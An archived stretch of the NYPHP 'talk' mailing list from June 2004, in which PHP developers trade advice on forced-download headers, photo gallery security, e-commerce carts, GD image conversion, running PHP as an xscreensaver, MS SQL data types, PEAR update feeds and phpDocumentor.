<41EE526EC2D3C74286415780D3BA9F8702C542EB@ehost011-1.exch011.intermedia.net> Message-ID: <22015-53218@sneakemail.com> Hans Zaunere hans-at-nyphp.com |nyphp 04/2004| wrote: >>>http://blogs.msdn.com/David_Gristwood/archive/2004/06/24/164849.aspx >>> >>> >>Name one instance where M$ released "great software on time" >>or for that matter even "software on time". Not once I can determine. >> >> > >True, there is some marketing hype in there, but considering the scale >and complexity of having to release Windows, there is some merit in >their song and dance. > >H > Well I didn't mean to imply M$ is sans merit - I agree that would be wrong. But to preach practices which are pie-in-the-sky, and say they come from M$ experience, when M$ hasn't succeeded in doing most of it, strikes me as incorrect. I agree completely that some of the points are honorable; I just don't see them as practical or based in reality as they should be if they were a product of experience. I get annoyed when they are projected as worthy because they come from the giant, with an implication that Microsoft accomplishes them, when that is generally not true. From jsiegel1 at optonline.net Mon Jun 28 08:16:02 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Mon, 28 Jun 2004 08:16:02 -0400 Subject: [nycphp-talk] Header issue...force download Message-ID: <40E00C02.7070003@optonline.net> The snippet of code below works fine with IE and not Firebird. In IE, you get prompted to save the file and it displays a filename of 'author.csv.' In Firebird, it displays a filename of 'author.csv.php'. It's that "php" extension that doesn't belong there. Header('Content-Type: text/csv\n',true); Header('Content-Disposition: attachment; filename="author.csv"'); Header('Pragma: no-cache',true); Header('Expires: 0',true); Jeff From george at omniti.com Mon Jun 28 09:51:03 2004 From: george at omniti.com (George Schlossnagle) Date: Mon, 28 Jun 2004 09:51:03 -0400 Subject: [nycphp-talk] Header issue...force download In-Reply-To: <40E00C02.7070003@optonline.net> References: <40E00C02.7070003@optonline.net> Message-ID: <31E314D4-C90A-11D8-9735-000393B2B3C0@omniti.com> On Jun 28, 2004, at 8:16 AM, Jeff Siegel wrote: > The snippet of code below works fine with IE and not Firebird. In IE, > you get prompted to save the file and it displays a filename of > 'author.csv.' In Firebird, it displays a filename of 'author.csv.php'. > It's that "php" extension that doesn't belong there. > > Header('Content-Type: text/csv\n',true); You don't need \n, and if you're insistent on using it, the string should be double and not single quoted. George // George Schlossnagle // Principal, OmniTI Computer Consulting, Inc. // (w) 410.872.4910x202 // (c) 240.460.5234 From bpang at bpang.com Mon Jun 28 09:49:51 2004 From: bpang at bpang.com (Brian Pang) Date: Mon, 28 Jun 2004 08:49:51 -0500 Subject: [nycphp-talk] Header issue...force download Message-ID: I think you need to set the Content-Type to application/octet-stream > The snippet of code below works fine with IE and not Firebird. In IE, > you get prompted to save the file and it displays a filename of > 'author.csv.' In Firebird, it displays a filename of 'author.csv.php'. > It's that "php" extension that doesn't belong there. > > Header('Content-Type: text/csv\n',true); > Header('Content-Disposition: attachment; filename="author.csv"'); > Header('Pragma: no-cache',true); > Header('Expires: 0',true); > > Jeff > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From jsiegel1 at optonline.net Mon Jun 28 10:03:22 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Mon, 28 Jun 2004 10:03:22 -0400 Subject: [nycphp-talk] Header issue...force download In-Reply-To: <31E314D4-C90A-11D8-9735-000393B2B3C0@omniti.com> References: <40E00C02.7070003@optonline.net> <31E314D4-C90A-11D8-9735-000393B2B3C0@omniti.com> Message-ID: <40E0252A.1060606@optonline.net> Thanks...didn't catch that one. Jeff George Schlossnagle wrote: > >> >> Header('Content-Type: text/csv\n',true); > > > You don't need \n, and if you're insistent on using it, the string > should be double and not single quoted. > > George From jsiegel1 at optonline.net Mon Jun 28 10:05:45 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Mon, 28 Jun 2004 10:05:45 -0400 Subject: [nycphp-talk] Header issue...force download In-Reply-To: References: Message-ID: <40E025B9.100@optonline.net> Didn't seem to have any effect. Jeff Brian Pang wrote: > I think you need to set the Content-Type to > application/octet-stream > > > > >>The snippet of code below works fine with IE and not Firebird. In IE, >>you get prompted to save the file and it displays a filename of >>'author.csv.' In Firebird, it displays a filename of 'author.csv.php'. >>It's that "php" extension that doesn't belong there. >> >>Header('Content-Type: text/csv\n',true); >>Header('Content-Disposition: attachment; filename="author.csv"'); >>Header('Pragma: no-cache',true); >>Header('Expires: 0',true); >> >>Jeff >> >> >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From phillip.powell at adnet-sys.com Mon Jun 28 10:21:21 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Mon, 28 Jun 2004 10:21:21 -0400 Subject: [nycphp-talk] Header issue...force download In-Reply-To: <40E025B9.100@optonline.net> References: <40E025B9.100@optonline.net> Message-ID: <40E02961.5030301@adnet-sys.com> This works for me in Firefox, plain Mozilla, IE, Konqueror and Netscape. Unsure about Opera. Phil class DownloadGenerator { /** * Full File Path * * @access private * @var mixed $fullFilePath */ var $fullFilePath; /** * Constructor * * @access public */ function DownloadGenerator($fullFilePath) { // CONSTRUCTOR $this->fullFilePath = $fullFilePath; } /** * Generate header information to cause a forced download * * @access public * @param mixed $fullFilePath (optional) */ function &generateForceDownloadHeaders($fullFilePath = '') { // STATIC VOID METHOD $file = ($this->fullFilePath) ? $this->fullFilePath : $fullFilePath; if (is_file($file)) { $filesize = @filesize($file); header('Content-Disposition: attachment; filename="' . substr($file, strrpos($file, '/') + 1, strlen($file)) . '"'); header("Content-Length: $filesize"); header('Content-Type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('Pragma: no-cache'); header('Expires: 0'); @readfile($file); @set_time_limit(600); } } } Jeff Siegel wrote: > Didn't seem to have any effect. > > Jeff > > Brian Pang wrote: > >> I think you need to set the Content-Type to >> application/octet-stream >> >> >> >> >>> The snippet of code below works fine with IE and not Firebird. In >>> IE, you get prompted to save the file and it displays a filename of >>> 'author.csv.' In Firebird, it displays a filename of >>> 'author.csv.php'. It's that "php" extension that doesn't belong there. >>> >>> Header('Content-Type: text/csv\n',true); >>> Header('Content-Disposition: attachment; filename="author.csv"'); >>> Header('Pragma: no-cache',true); >>> Header('Expires: 0',true); >>> >>> Jeff >>> >>> >>> >>> _______________________________________________ >>> talk mailing list >>> talk at lists.nyphp.org >>> http://lists.nyphp.org/mailman/listinfo/talk >>> >>> >> >> >> >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From jayeshsh at ceruleansky.com Mon Jun 28 11:16:31 2004 From: jayeshsh at ceruleansky.com (Jayesh Sheth) Date: Mon, 28 Jun 2004 11:16:31 -0400 Subject: [nycphp-talk] secure photo gallery web application Message-ID: <40E0364F.8040005@ceruleansky.com> Hello all, I would like to post some pictures (from the recent Mermaid Parade in Coney Island) to my website. I have considered using Gallery for its ease of use, but I have some reservations: I have noticed some automated bots scanning my sites in attempt to break into them using known exploits in commonly used pieces of open source software such as PHP-Nuke and Gallery. Gallery recently had a large security hole patched (this hole enabled anyone to log in as an administrative user). Thus due to the widespread use of Gallery and the possibility that it has more undiscovered holes, I am wary of using it. I am considering the following: Just writing a small script that will read a list of image files from a directory, and then give me the option to add captions to them. Once I have specified the captions and pressed the submit button, that list of files and captions will be entered into the (MySQL) database and exist as a new "album". The files themselves will be uploaded via FTP. This seems relatively easy to do. I should be able to do a prototype of it fairly quickly. With a smaller amount of well-looked-over code (that does not include any built-in uploading capability) it might be easier to avoid security problems. But before I spend time creating this, I was wondering if there is a less well known and slimmer photo gallery application for the PHP / MySQL platform that anyone can recommend. There is Coppermine ... but I am not sure how good that is. If not, then I might just write the light gallery manager that I mentioned above. I wonder if what I write would be of use to others - since programs such as Gallery are very feature-rich; and the typical end-user would much prefer using an insecure feature-rich application over a minimalistic secure script. But if there is a need for a secure, light alternative to Gallery, then I might release what I create as open source. Best Regards, - Jay Sheth From mitchy at spacemonkeylabs.com Mon Jun 28 11:52:14 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Mon, 28 Jun 2004 11:52:14 -0400 Subject: [nycphp-talk] secure photo gallery web application In-Reply-To: <40E0364F.8040005@ceruleansky.com> References: <40E0364F.8040005@ceruleansky.com> Message-ID: <40E03EAE.7010800@spacemonkeylabs.com> Jayesh Sheth wrote: > Hello all, > > I would like to post some pictures (from the recent Mermaid Parade in > Coney Island) to my website. I have considered using Gallery for its > ease of use, but I have some reservations: I have noticed some > automated bots scanning my sites in attempt to break into them using > known exploits in commonly used pieces of open source software such as > PHP-Nuke and Gallery. Sad I missed the parade :( Living a 10-minute drive away makes it even more disappointing that I managed to miss it!) I'm in the process of setting up a gallery using the RSGallery module for Mambo Open Source (www.mamboserver.com). There are a couple very active security researchers that are working with the Mambo crew over at Mosforge.net, and I can say that the security of Mambo is really getting solid. I believe all of the gallery scripts start out with humble ambitions, and as more folks use it, more features are requested. I guess that's just the nature of software development in the OSS world ;) And you are absolutely right about the automated scanners - we have a group in Brazil that have specialized in writing scanners for older versions of Mambo, and thankfully the Mambopots Project (distributed Mambo honeypots) is providing some pretty shocking data. :( -- Mitch From danporcher at earthlink.net Mon Jun 28 12:01:44 2004 From: danporcher at earthlink.net (Daniel Porcher) Date: Mon, 28 Jun 2004 12:01:44 -0400 Subject: [nycphp-talk] E-Commerce Solutions for PHP MySQL In-Reply-To: Message-ID: Hi: I need to site up an e-commerce solution for a client on a LAMP platform. I'm considering both X-Cart and Zen Cart and I'm wondering if anyone on the list has experience, pro or con, with those packages. I'm also open to other suggestions. The store is fairly small: 50 - 75 items. The merchant processing will be handled through PayPal. Thanks, Daniel Porcher President Watershed Web Design Phone: (609) 466-0266 Fax: (609) 466-2701 From jonbaer at jonbaer.net Mon Jun 28 11:03:18 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 28 Jun 2004 11:03:18 -0400 Subject: [nycphp-talk] E-Commerce Solutions for PHP MySQL In-Reply-To: References: Message-ID: <20040628150318.GA6123@jonbaer.net> http://www.oscommerce.com On Mon, Jun 28, 2004 at 12:01:44PM -0400, Daniel Porcher wrote: > I'm also open to other suggestions. > > The store is fairly small: 50 - 75 items. The merchant processing will be > handled through PayPal. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jsiegel1 at optonline.net Mon Jun 28 12:42:52 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Mon, 28 Jun 2004 12:42:52 -0400 Subject: [nycphp-talk] Header issue...force download In-Reply-To: <40E02961.5030301@adnet-sys.com> References: <40E025B9.100@optonline.net> <40E02961.5030301@adnet-sys.com> Message-ID: <40E04A8C.5010302@optonline.net> I have a similar piece of code that use where website visitors download zipped files...and that works across browsers (and works like a charm). However, in this case, I'm outputting simple csv...nothing binary. Jeff Phillip Powell wrote: > This works for me in Firefox, plain Mozilla, IE, Konqueror and > Netscape. Unsure about Opera. > > Phil > > class DownloadGenerator { > > /** > * Full File Path > * > * @access private > * @var mixed $fullFilePath > */ > var $fullFilePath; > > /** > * Constructor > * > * @access public > */ > function DownloadGenerator($fullFilePath) { // CONSTRUCTOR > $this->fullFilePath = $fullFilePath; > } > > /** > * Generate header information to cause a forced download > * > * @access public > * @param mixed $fullFilePath (optional) > */ > function &generateForceDownloadHeaders($fullFilePath = '') { > // STATIC VOID METHOD > $file = ($this->fullFilePath) ? $this->fullFilePath : $fullFilePath; > if (is_file($file)) { > $filesize = @filesize($file); > header('Content-Disposition: attachment; filename="' . > substr($file, strrpos($file, '/') + 1, strlen($file)) . '"'); > header("Content-Length: $filesize"); > header('Content-Type: application/octet-stream'); > header('Content-Transfer-Encoding: binary'); > header('Pragma: no-cache'); > header('Expires: 0'); > @readfile($file); > @set_time_limit(600); > } > } > > } > > > Jeff Siegel wrote: > >> Didn't seem to have any effect. >> >> Jeff >> >> Brian Pang wrote: >> >>> I think you need to set the Content-Type to >>> application/octet-stream >>> >>> >>> >>> >>>> The snippet of code below works fine with IE and not Firebird. In >>>> IE, you get prompted to save the file and it displays a filename of >>>> 'author.csv.' In Firebird, it displays a filename of >>>> 'author.csv.php'. It's that "php" extension that doesn't belong there. >>>> >>>> Header('Content-Type: text/csv\n',true); >>>> Header('Content-Disposition: attachment; filename="author.csv"'); >>>> Header('Pragma: no-cache',true); >>>> Header('Expires: 0',true); >>>> >>>> Jeff >>>> >>>> >>>> >>>> _______________________________________________ >>>> talk mailing list >>>> talk at lists.nyphp.org >>>> http://lists.nyphp.org/mailman/listinfo/talk >>>> >>>> >>> >>> >>> >>> _______________________________________________ >>> talk mailing list >>> talk at lists.nyphp.org >>> http://lists.nyphp.org/mailman/listinfo/talk >>> >> >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > > From joel at tagword.com Mon Jun 28 14:27:36 2004 From: joel at tagword.com (Joel De Gan) Date: Mon, 28 Jun 2004 14:27:36 -0400 Subject: [nycphp-talk] php script as screensaver.. Message-ID: <1088447256.7431.8.camel@bezel> Quick question that I am looking around for and not seeing much info on. basically, looking for a way to run a shell script or a php script with xscreensaver. i.e. gtk etc, looking at building something similar to the .NET Terrarium project but in an open scripted way. Wondering if anyone has any experience with using scripts this way. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From brian at vermonster.com Mon Jun 28 13:03:34 2004 From: brian at vermonster.com (Brian Kaney) Date: Mon, 28 Jun 2004 13:03:34 -0400 Subject: [nycphp-talk] E-Commerce Solutions for PHP MySQL In-Reply-To: <20040628150318.GA6123@jonbaer.net> References: <20040628150318.GA6123@jonbaer.net> Message-ID: <1088442214.5408.30.camel@brian.vermonster.com> OSC is good unless you want to really customize beyond the available modules. For one, it does not use templating, so there is a ton of procedural code mixed with HTML. Also, at its core it does not have the best coding style (i.e. some scattered classes, no real framework). At first glance, I like Interchange's promise http://www.icdevgroup.org/ (note: it's Perl), and am looking for a similar PHP project. On Mon, 2004-06-28 at 11:03, Jon Baer wrote: > http://www.oscommerce.com > > On Mon, Jun 28, 2004 at 12:01:44PM -0400, Daniel Porcher wrote: > > I'm also open to other suggestions. > > > > The store is fairly small: 50 - 75 items. The merchant processing will be > > handled through PayPal. From ajai at bitblit.net Mon Jun 28 13:41:24 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Mon, 28 Jun 2004 13:41:24 -0400 Subject: [nycphp-talk] E-Commerce Solutions for PHP MySQL In-Reply-To: <1088442214.5408.30.camel@brian.vermonster.com> References: <20040628150318.GA6123@jonbaer.net> <1088442214.5408.30.camel@brian.vermonster.com> Message-ID: <40E05844.3090809@bitblit.net> Brian Kaney wrote: >OSC is good unless you want to really customize beyond the available >modules. For one, it does not use templating, so there is a ton of >procedural code mixed with HTML. Also, at its core it does not have the >best coding style (i.e. some scattered classes, no real framework). > >At first glance, I like Interchange's promise http://www.icdevgroup.org/ >(note: it's Perl), and am looking for a similar PHP project. > Never liked OSC. I am using mamboserver (mamboserver.com) for content management and a component called phpshop (http://www.mambo-phpshop.net/) for the ecommerce features. -- Aj. Systems Administrator / Developer From max.goldberg at gmail.com Mon Jun 28 13:56:47 2004 From: max.goldberg at gmail.com (max goldberg) Date: Mon, 28 Jun 2004 13:56:47 -0400 Subject: [nycphp-talk] secure photo gallery web application In-Reply-To: <40E03EAE.7010800@spacemonkeylabs.com> References: <40E0364F.8040005@ceruleansky.com> <40E03EAE.7010800@spacemonkeylabs.com> Message-ID: <87e6ded304062810566cf59227@mail.gmail.com> I host a lot of people who use gallery, and it seems like every other month there is a new security patch. I am not sure if there has ever been a stable version without some sort of gaping exploit. They may just do this so people will check the website every couple of weeks. It wouldn't be such a big deal if I didn't have to manually upgrade 8 gallery installations by hand, but it is definitely a pain. I would only suggest using gallery if you are going to be actively using and adding new pictures to it. I wrote something similar to what you are describing a few years ago for an album of WTC pictures that gets hit heavily, and it's definitely stood the tests of time. One of the problems ("nice features") with gallery is that it doesn't use a database. It uses a plethora of flat files filled with huge serialized arrays. When you get an extreme amount of traffic on a gallery installation, it can very easily bring a server to it's knees. So depending on how you plan on using it, it may be worth it to write a quick script to do what you want. Otherwise there are plenty of free applications for both windows and unix that will take a set of pictures and plop out a static html "album". Also just looked at the gallery website, another security issue posted yesterday. hoorah! -Max On Mon, 28 Jun 2004 11:52:14 -0400, Mitch Pirtle wrote: > > Jayesh Sheth wrote: > > > Hello all, > > > > I would like to post some pictures (from the recent Mermaid Parade in > > Coney Island) to my website. I have considered using Gallery for its > > ease of use, but I have some reservations: I have noticed some > > automated bots scanning my sites in attempt to break into them using > > known exploits in commonly used pieces of open source software such as > > PHP-Nuke and Gallery. > > > Sad I missed the parade :( Living a 10-minute drive away makes it even > more disappointing that I managed to miss it!) > > I'm in the process of setting up a gallery using the RSGallery module > for Mambo Open Source (www.mamboserver.com). There are a couple very > active security researchers that are working with the Mambo crew over at > Mosforge.net, and I can say that the security of Mambo is really getting > solid. > > I believe all of the gallery scripts start out with humble ambitions, > and as more folks use it, more features are requested. I guess that's > just the nature of software development in the OSS world ;) > > And you are absolutely right about the automated scanners - we have a > group in Brazil that have specialized in writing scanners for older > versions of Mambo, and thankfully the Mambopots Project (distributed > Mambo honeypots) is providing some pretty shocking data. :( > > -- Mitch > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From joel at tagword.com Mon Jun 28 15:54:03 2004 From: joel at tagword.com (Joel De Gan) Date: Mon, 28 Jun 2004 15:54:03 -0400 Subject: [nycphp-talk] php script as screensaver.. In-Reply-To: <40E0529E.60908@chxo.com> References: <1088447256.7431.8.camel@bezel> <40E0529E.60908@chxo.com> Message-ID: <1088452443.7434.22.camel@bezel> On Mon, 2004-06-28 at 13:17, Chris Snyder wrote: > I don't know how to do it, but if you figure it out I'll buy you a beer! Okay... I like stout beers, next meeting :). Here is how it is done with xscreensaver: I don't compile with explict cli. so I create my php file (in this case it can be anything.. i.e. test.php it is in my home dir ~joeldg/projects/screensave/test.php create a launch file with `/usr/bin/php /home/joeldg/projects/screensave/mview.php` chmod +x launch now as root ln -s ~joeldg/projects/screensave/launch /usr/lib/xscreensaver/test cp /usr/share/control-center/screensavers/galaxy.xml /usr/share/control-center/screensavers/test.xml gvim /usr/share/control-center/screensavers/test.xml change galaxy to test `xscreensaver-demo` select "test" and "preview" and it also works with php-gtk apps (tested) -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From csnyder at chxo.com Mon Jun 28 14:51:17 2004 From: csnyder at chxo.com (Chris Snyder) Date: Mon, 28 Jun 2004 14:51:17 -0400 Subject: [nycphp-talk] php script as screensaver.. In-Reply-To: <1088452443.7434.22.camel@bezel> References: <1088447256.7431.8.camel@bezel> <40E0529E.60908@chxo.com> <1088452443.7434.22.camel@bezel> Message-ID: <40E068A5.7000300@chxo.com> Joel De Gan wrote: >I like stout beers, next meeting :). > > Noted. >Here is how it is done with xscreensaver: > >[snip] > >and it also works with php-gtk apps (tested) > > Uh... Joel, I hope you will consider letting us beta-test the PHP 3D Desktop whenever you're almost ready to release. :-D From Kbedi at inta.org Mon Jun 28 17:03:15 2004 From: Kbedi at inta.org (Kshitij Bedi) Date: Mon, 28 Jun 2004 17:03:15 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg Message-ID: This code works very well, though for images that have any black in them which originally have a white background the background of the converted image turns black. What to do there? -----Original Message----- From: Rolan Yang [mailto:rolan at omnistep.com] Sent: Friday, June 25, 2004 5:52 PM To: NYPHP Talk Subject: Re: [nycphp-talk] Gif -> Png or Jpeg Here's a snippet of code from stuff i use. Hope it helps: $im=@ImageCreateFromjpeg($imgurl)) or $im=@ImageCreateFromgif($imgurl); if ($imgtype=="jpg") {imagejpeg($im,'',85);} else {imageTrueColorToPalette($im,1,256);imagepng($im);} Kshitij Bedi wrote: >Any Ideas on converting Gif to Png or Jpeg using PHP GD? >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From joel at tagword.com Mon Jun 28 19:57:54 2004 From: joel at tagword.com (Joel De Gan) Date: Mon, 28 Jun 2004 19:57:54 -0400 Subject: [nycphp-talk] php script as screensaver.. In-Reply-To: <40E068A5.7000300@chxo.com> References: <1088447256.7431.8.camel@bezel> <40E0529E.60908@chxo.com> <1088452443.7434.22.camel@bezel> <40E068A5.7000300@chxo.com> Message-ID: <1088467074.7434.29.camel@bezel> On Mon, 2004-06-28 at 14:51, Chris Snyder wrote: > Uh... Joel, I hope you will consider letting us beta-test the PHP 3D > Desktop whenever you're almost ready to release. :-D I am actually working on getting sprites working right now. Already have terrain tiles working. If you are not familiar with Terrarium: http://www.windowsforms.net/default.aspx?tabIndex=6&tabId=42 You can make creatures: plants, herbivors, carnivors etc.. You have to write in it's intelligence and terrarium acts as the gateway for everyone's various creatures to interact. I was looking at the forums and there have been a few "super" critters that have taken over at various times until someone creates something to kill it. There is no mono port available for linux, so I am looking at creating a terrarium inspired thing. I am basically swamped all the time, but this is pretty cool and I can 'find' soe time to mess with it. -Joel -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From tgales at tgaconnect.com Mon Jun 28 20:39:42 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Mon, 28 Jun 2004 20:39:42 -0400 Subject: [nycphp-talk] HTML_QuickForm 3.2.3 Released Message-ID: <004d01c45d71$91e973e0$e98d3818@oberon1> There seems to be a lot of new interest in HTML_QuickForm recently by our members. Maybe its because of David Sklar's talk at the May meeting (of NYPHP). Anyway, there has been a new release: http://pear.php.net/package/HTML_QuickForm/download/ T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From rolan at omnistep.com Mon Jun 28 20:56:47 2004 From: rolan at omnistep.com (Rolan Yang) Date: Mon, 28 Jun 2004 20:56:47 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: <40E0BE4F.20108@omnistep.com> Are you outputting as png or jpg? When downconverting to 256 colors, you might experience pallete rot. Try $imgtype="'jpg"; ~Rolan Kshitij Bedi wrote: >This code works very well, though for images that have any black in them >which originally have a white background >the background of the converted image turns black. What to do there? > >-----Original Message----- >From: Rolan Yang [mailto:rolan at omnistep.com] > >Here's a snippet of code from stuff i use. Hope it helps: > >$im=@ImageCreateFromjpeg($imgurl)) or >$im=@ImageCreateFromgif($imgurl); > >if ($imgtype=="jpg") {imagejpeg($im,'',85);} else >{imageTrueColorToPalette($im,1,256);imagepng($im);} > >Kshitij Bedi wrote: > > > >>Any Ideas on converting Gif to Png or Jpeg using PHP GD? >> >> >> From jv_nyphp at duikerbok.com Mon Jun 28 13:05:18 2004 From: jv_nyphp at duikerbok.com (Jose Villegas) Date: Mon, 28 Jun 2004 13:05:18 -0400 Subject: [nycphp-talk] unsigned property in ms sql server Message-ID: <54E7E2AE-C925-11D8-87D6-000A95D78076@duikerbok.com> I'm working on a project that uses ms sql server. When I use mysql I use the "unsigned" property on numeric fields that will only use positive values. It looks like ms sql doesn't support this though. It looks like I only get a positive range with tinyint and I'm stuck with an unusable negative range on smallint, int, and bigint. Is this correct? thanks, Jose From jonbaer at jonbaer.net Mon Jun 28 20:33:33 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 28 Jun 2004 20:33:33 -0400 Subject: [nycphp-talk] HTML_QuickForm 3.2.3 Released In-Reply-To: <004d01c45d71$91e973e0$e98d3818@oberon1> References: <004d01c45d71$91e973e0$e98d3818@oberon1> Message-ID: <20040629003333.GA13939@jonbaer.net> Someone asked me the other day if there was a programmatical way or subscription for alerting you to when PEAR packages were updated and I explained to him by running 'sudo pear upgrade-all' or cronning it for every 2 weeks or so should be good ... I dont think there is an email list is there? - Jon On Mon, Jun 28, 2004 at 08:39:42PM -0400, Tim Gales wrote: > Anyway, there has been a new release: > http://pear.php.net/package/HTML_QuickForm/download/ > -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Mon Jun 28 20:49:35 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Mon, 28 Jun 2004 20:49:35 -0400 Subject: [nycphp-talk] .phar files (PHP Archive) Message-ID: <20040629004935.GA14045@jonbaer.net> just curious - has anyone played around w/ the PHP Archive format yet? seems pretty interesting (considering you can run the application by plugging in the .phar extension for apache). - jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Mon Jun 28 23:06:24 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Mon, 28 Jun 2004 23:06:24 -0400 Subject: [nycphp-talk] HTML_QuickForm 3.2.3 Released In-Reply-To: <20040629003333.GA13939@jonbaer.net> Message-ID: <006201c45d86$106323b0$e98d3818@oberon1> Jon Baer writes: > Someone asked me the other day if there was a programmatical way or > subscription for alerting you to when PEAR packages were > updated and I > explained to him by running 'sudo pear upgrade-all' or > cronning it for > every 2 weeks or so should be good ... I dont think there is > an email list > is there? There's a news feed http://pear.php.net/feeds/latest.rss T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From danielc at analysisandsolutions.com Mon Jun 28 23:45:02 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Mon, 28 Jun 2004 23:45:02 -0400 Subject: [nycphp-talk] unsigned property in ms sql server In-Reply-To: <54E7E2AE-C925-11D8-87D6-000A95D78076@duikerbok.com> References: <54E7E2AE-C925-11D8-87D6-000A95D78076@duikerbok.com> Message-ID: <20040629034501.GA2853@panix.com> Hi: On Mon, Jun 28, 2004 at 01:05:18PM -0400, Jose Villegas wrote: > When I use mysql I > use the "unsigned" property on numeric fields that will only use > positive values. It looks like ms sql doesn't support this though. Yep. MySQL's behavior is non standard. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From danielc at analysisandsolutions.com Mon Jun 28 23:48:34 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Mon, 28 Jun 2004 23:48:34 -0400 Subject: [nycphp-talk] HTML_QuickForm 3.2.3 Released In-Reply-To: <20040629003333.GA13939@jonbaer.net> References: <004d01c45d71$91e973e0$e98d3818@oberon1> <20040629003333.GA13939@jonbaer.net> Message-ID: <20040629034834.GB2853@panix.com> On Mon, Jun 28, 2004 at 08:33:33PM -0400, Jon Baer wrote: > Someone asked me the other day if there was a programmatical way or > subscription for alerting you to when PEAR packages were updated Currently, you can check out http://pear.php.net/feeds/ There has been discusion of an announcement only list, but that hasn't happened yet. I'll prod people again. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From phillip.powell at adnet-sys.com Tue Jun 29 11:23:00 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Tue, 29 Jun 2004 11:23:00 -0400 Subject: [nycphp-talk] Anyone here ever use phpDocumentor? Message-ID: <40E18954.6030603@adnet-sys.com> I downloaded phpDocumentor successfully and am attempting to use it via the instructions in the tutorial at http://www.phpdoc.org/docs/HTMLSmartyConverter/default/phpDocumentor/tutorial_phpDocumentor.howto.pkg.html#using However, to no avail as I attempt . \phpdoc Per instructions, my terminal window immediately collapses each time. I've also referred to http://www.pear.php.net/package/PhpDocumentor/download in the PEAR documentation on phpDocumentor as well trying to figure this out, again, (no surprise eh?) to no avail. Has anyone ever used this documenting tool before, if so, I could use a bit more guidance than the tutorials seem to give. Thanx Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From dmintz at davidmintz.org Tue Jun 29 11:49:37 2004 From: dmintz at davidmintz.org (David Mintz) Date: Tue, 29 Jun 2004 11:49:37 -0400 (EDT) Subject: [nycphp-talk] Anyone here ever use phpDocumentor? In-Reply-To: <40E18954.6030603@adnet-sys.com> References: <40E18954.6030603@adnet-sys.com> Message-ID: On Tue, 29 Jun 2004, Phillip Powell wrote: > However, to no avail as I attempt > > . \phpdoc > > Per instructions, my terminal window immediately collapses each time. > I've also referred to > http://www.pear.php.net/package/PhpDocumentor/download in the PEAR > documentation on phpDocumentor as well trying to figure this out, again, > (no surprise eh?) to no avail. This may be little help, but: my experience on Windoze was exactly the same. If I'm on my Windoze box I have to SSH onto a *nix machine to play with phpDocumentor. Perhaps, for some reason, phpDocumentor doesn't play nicely on Windoze. --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From tgales at tgaconnect.com Tue Jun 29 11:53:08 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Tue, 29 Jun 2004 11:53:08 -0400 Subject: [nycphp-talk] Anyone here ever use 